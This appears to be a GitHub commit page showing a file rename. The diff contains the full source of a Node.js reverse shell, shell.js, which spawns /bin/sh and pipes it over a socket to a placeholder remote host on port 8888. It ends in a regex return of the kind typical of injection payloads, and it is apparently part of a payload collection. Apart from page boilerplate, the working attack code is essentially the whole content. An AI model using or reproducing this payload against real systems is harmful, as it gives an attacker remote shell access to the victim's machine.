We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent f0475d6 commit 0bb079dCopy full SHA for 0bb079d
shell.js renamed to nodejs/shell.js
@@ -1,12 +1,12 @@
1
-(function(){
2
- var net = require("net"),
3
- cp = require("child_process"),
4
- sh = cp.spawn("/bin/sh",[]);
5
- var client = new net.Socket();
6
- client.connect(8888,"xxx.xxx.xxx.xxx",function(){
7
- client.pipe(sh.stdin);
8
- sh.stdout.pipe(client);
9
- sh.stderr.pipe(client);
10
- });
11
- return /a/;
+(function(){
+ var net = require("net"),
+ cp = require("child_process"),
+ sh = cp.spawn("/bin/sh",[]);
+ var client = new net.Socket();
+ client.connect(8888,"xxx.xxx.xxx.xxx",function(){
+ client.pipe(sh.stdin);
+ sh.stdout.pipe(client);
+ sh.stderr.pipe(client);
+ });
+ return /a/;
12
})();
0 commit comments